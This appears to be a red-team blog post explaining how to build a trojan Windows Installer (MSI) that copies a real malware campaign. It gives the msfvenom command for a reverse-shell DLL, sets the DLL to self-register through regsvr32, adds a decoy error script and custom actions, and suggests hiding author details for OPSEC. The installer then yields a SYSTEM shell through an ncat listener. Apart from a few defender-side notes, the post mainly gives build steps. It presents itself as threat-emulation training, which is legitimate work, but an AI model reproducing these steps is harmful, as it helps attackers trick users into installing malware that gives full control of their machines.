MS-Interloper: On the Subject of Malicious MSIs

MS-Interloper: On the Subject of  Malicious MSIs

I completed an engagement recently where I designed my threat plan around the recent rash of malicious Windows Installer (Microsoft Installer, or MSI) programs. It ended up being a blast, so I wanted to review my methodology for building this type of malware and what it looks like from the defender’s perspective.

I also released a malicious MSI as part of my most recent PMAT Lab update, so this post will probably be a good place to start if you want to tackle that challenge.

⚠️ As always, use this for educational, threat-emulation purposes only. It feels especially icky to teach about this kind of malware because it centers on creating a trojan installer, which for some reason seems a whole lot worse than your usual shellcode-that-spawns-calc.exe deal. Stay legit.

Real MSIs Realize Real MS-Lies

^^ I’m extremely proud of that header.

You’re familiar with MSIs if you’ve ever installed anything on Windows. MSI presents the GUI for installing some of your favorite productivity programs, like Napster, uTorrent, or Limewire. Or Notepad++, if you’re a psycho.

It’s a program that looks like this, you know the one:

The classic pixelated Windows Installer icon: a computer with a CD and a software box

Desktop icon for an installer package named legit-torrent-x64-install.msi

The basic idea here is to package malware into an MSI and either:

  • Have the user install it under the pretense that it’s a legitimate application…

or

  • …have the MSI execute malware as part of the install process and then fabricate some kind of error to reduce suspicion from the user that it’s malware.

Both of these are interesting to me. Both of them have the same general setup. The end result is generally the same, but they both have slightly different approaches. We’ll examine the method outlined in the second bullet point.

Let’s look at an example that we can try to emulate:

Reference Material

https://twitter.com/pr0xylife/status/1547974110780669956

https://twitter.com/1ZRR4H/status/1547988622162350082

The original tweet by proxylife has the high-level chain of execution, while the reply from Germán Fernández shows some details that we can use to improve the fidelity of emulation. Let’s get to work!

Emulation Station: Building an MSI

How do we build one of these things?

First, you’ll need Visual Studio.

Visual Studio 2022 | Download for free

I’m using VS 2022, but I have used VS 2019 in the past and this technique has worked out fine.

Once you have VS set up, we need to install an extension so we can build MSIs. Go find the Microsoft Visual Studio Installer Projects extension for the version of VS that you have. I’m using VS 2022, so I’m using the extension for 2022:

Microsoft Visual Studio Installer Projects 2022 - Visual Studio Marketplace

Download, double-click, and run the extension installer. If all goes well, restart VS and you should now have the option to build Setup Projects.

Visual Studio Create a new project dialog filtered on setup, with Setup Project, Web Setup Project and Setup Wizard templates boxed in red

Select the Setup Project option and name it something inconspicuous:

Visual Studio Configure your new project dialog for a Setup Project named totes-legit-program-installer-x64-v1

The UI for the Setup Project is a lot different than the normal VS UI. There’s not much in the way of coding to be done here. Instead, you now have a set of installation directories:

Setup Project File System view listing the target machine folders: Application Folder, User’s Desktop and User’s Programs Menu

On the right side of VS, the project can be built like any other VS solution. We’ll add the files that we want installed, tell the installer where to drop them during installation, add some custom actions 😲 to do our dirty work, and then build the dang thing as a pre-packaged installer of evil. 😈😈😈

Let’s revisit the emulation plan and take a look at the contents of the MSI:

Archive view of the sample MSI containing two files, dll_main and vbc_notify. vbc_notify is open in Notepad and holds a single MsgBox line that shows a fake Adobe Acrobat error

MSI CustomAction table with two actions boxed in red: regsvr32.exe run with -n and -i Install against dll_main, and wscript.exe run against vbc_notify

(better pictures are available in the original tweet above ⬆️ )

The MSI contains a DLL, a .VBS file, and a few custom actions to execute. Let’s knock out the composite elements first and then set up the custom actions.

vbc_notify.vbs

MsgBox "Error fam lmao", 16, "Somethin broke yo"

This part is trivial. Save this as a .vbs and check that it runs by invoking it with wscript.exe:

> wscript.exe vbc_notify.vbs

Command prompt running wscript.exe vbc_notify.vbs, which pops an error dialog titled Somethin broke yo with the text Error fam lmao

Wonderful. Next!

We need a malicious DLL. Let’s keep it simple and use a Windows reverse shell that connects back to the localhost on port 8443.

┌──(kali㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/x64/shell_reverse_tcp lhost=127.0.0.1 lport=8443 -f dll > dll_main.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

⚠️ For a real engagement, you may want to spend some time creating a custom DLL instead of using MSFVenom. I recommend looking into shellcode injector DLLs written in Nim and Rust 👑🦀

Once this is compiled, let’s test it to ensure the mechanics of the exploit are working as intended:

Split terminal. On the right, regsvr32 is run with /n and /i Install against dll_main.dll. On the left, an ncat listener on port 8443 receives a connection from 127.0.0.1 and a Windows command prompt

Looks good.

Now, let’s wrap these two composite elements up into our malicious installer. To do this, go to our project in VS and select the location where we want our installer to actually drop the files. The tweet references where the files are installed in the real sample:

regsvr32.exe -n -i:"Install" C:\Users\**\AppData\Local\AdobeFontPack\main.dll

Let’s use the AppData directory for our emulation. We can add this as a location by right clicking in the left-side pane and selecting Add Special Folder -> User's Application Data Folder

File System view right-click menu with Add Special Folder expanded, listing options including User’s Application Data Folder

🤔 Take a look at the other install directories and think about how some of these are great locations for malicious files!

Once the AppData directory is added to the list of available install locations, right-click on it and select Add -> Files

Here, we add all of the composite elements of this exploit chain to the installer. Add the .VBS and dll_main.dll here.

File System view with User’s Application Data Folder selected, containing dll_main.dll and vbc_notify.vbs

Right now, nothing will happen when we run the installer after the DLL and .VBS are dropped into %APPDATA%. We now need to add some custom actions to complete the exploit chain. And this is where things get downright insidious.

First, go to dll_main.dll in the Solution Explorer panel (right-side).

The sample installer calls regsvr32.exe to register the DLL when installed for execution. We can set the DLL to self-register during install by selecting the vsdrfCOMSelfReg option:

Solution Explorer with dll_main.dll selected and its File Installation Properties below, where the Register property is boxed in red and set to vsdrfCOMSelfReg

Now, right-click on the Project file (not the Solution file but the thing one level under it) in the Solution Explorer and go to View -> Custom Actions (personally, I think this is a weird place for it but whatevs):

Solution Explorer right-click menu on the project with View expanded and Custom Actions highlighted

🤔 Again, we’re breezing by them, but there are some seriously powerful options in here. Registry changes during install?!

Custom Actions view with four empty folders: Install, Commit, Rollback and Uninstall

We can make the decoy vbc_notify.vbs script run by adding it as a Custom Action to the Install folder:

Custom Actions view with vbc_notify.vbs added under the Install folder

Now when this program runs, it will:

  • Unpack both resources into %APPDATA%
  • Self register (i.e., execute) dll_main.dll
  • Run vbc_notify.vbs and pop up a decoy message
  • And, exit the installer!

Before compiling, make sure to change some of the Misc details like the Author and Company Name to preserve OPSEC. Select the Build Project file and change the settings in there:

Solution Explorer with the totes-legit-v2 project selected and, in its Deployment Project Properties, the Author field boxed in red and set to TotesLegitLLC

Compile this into an MSI by right-clicking the Solution file and clicking “Build Solution”. If all has gone to plan, you should now have an MSI in the Debug or Release directory, depending on which build you selected:

Visual Studio build output: vbc_notify.vbs and dll_main.dll are packaged into totes-legit-v2.msi and Rebuild All reports 1 succeeded, 0 failed, 0 skipped

Debug is fine for testing and demo purposes. Release is better in an OPSEC sense.

Eff Around Complete - Initiating “Find Out” Protocol

Start up your ncat listener:

> ncat.exe -nvlp8443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443

File Explorer showing the build output: setup.exe at 547 KB and totes-legit-v2.msi at 487 KB

VS gives us a few options to run the actual installer: a standalone MSI and an executable. The MSI can be run by itself with no problems. If you use the setup executable, make sure to keep the MSI alongside it. If you separate the two files, you’ll get an error. Can’t have that!

Setup error dialog: An error occurred attempting to install totes-legit-v2. Unable to locate application file totes-legit-v2.msi

This is because the setup.exe application appears to be a wrapper around the actual installer. When the application is run, the MSI kicks off as a child process:

The totes-legit-v2 Setup Wizard welcome screen, with a process list behind it showing msiexec.exe running as a child of setup.exe

In any case, run the MSI or the installer and follow the prompts:

Setup Wizard Select Installation Folder screen, installing to the TotesLegitLLC folder under Program Files (x86) for Just me

At some point in this install, you may have to accept a UAC prompt to ensure that you’re OK with a program making changes to your computer. Imagine that the user is a local admin on their own host. Or maybe they call up their IT admin and ask them to install the program because it’s an important business program.

Setup Wizard Installing screen with the decoy error dialog on top: Somethin broke yo, Error fam lmao

Hey, there’s our decoy script! One interesting thing to note here is that the .VBS file is not forked into a new process. There is no new process as a child of any MSI process in the process tree:

Process tree showing a SYSTEM msiexec.exe with three msiexec.exe children and a separate user msiexec.exe. No wscript process appears

We see that the vbc_notify.vbs script has been registered as a COM object in the registry and can now be called by CLSID, which points it to the location on disk:

Procmon event details: a RegEnumValue on an HKLM Installer UserData Components key returns the data C:/Users/matth/AppData/Roaming/vbc_notify.vbs

This ends up in the memory space of the new msiexec.exe, almost like a pseudo process injection 🤔 :

Memory string search results for msiexec.exe process 2952, finding four copies of the MsgBox Error fam lmao script text

And if you check the ncat listener:

ncat listener on port 8443 receiving a connection and a Windows shell. Running whoami returns nt authority system

Accepting the UAC prompt means that this process has been executed with admin privileges. And Windows has taken that a step further and bumped us up to SYSTEM level. Yikes!

You can imagine how dangerous this can be with a bit of social engineering.

The resulting process relationship is interesting. Rundll32 is used to open the resulting cmd.exe window and spawn the shell:

Process tree showing rundll32.exe running as SYSTEM with cmd.exe and conhost.exe as children, above the ncat listener that received the shell

Important to note here is that this instance of rundll32 does not spawn as a child of explorer.exe. Rundll32 is a contentious topic in the OPSEC realm, so I’ll leave it up to you to decide if you’re ok with the OPSEC implications of this.

But also remember that there is tons of room for creativity with this technique. Do you install an application in the User Application Directory and then make a shortcut in the Startup Folder? Do you make some choice registry changes with nefarious intention? The sky is the limit.

I think that’s enough for today!

-Husky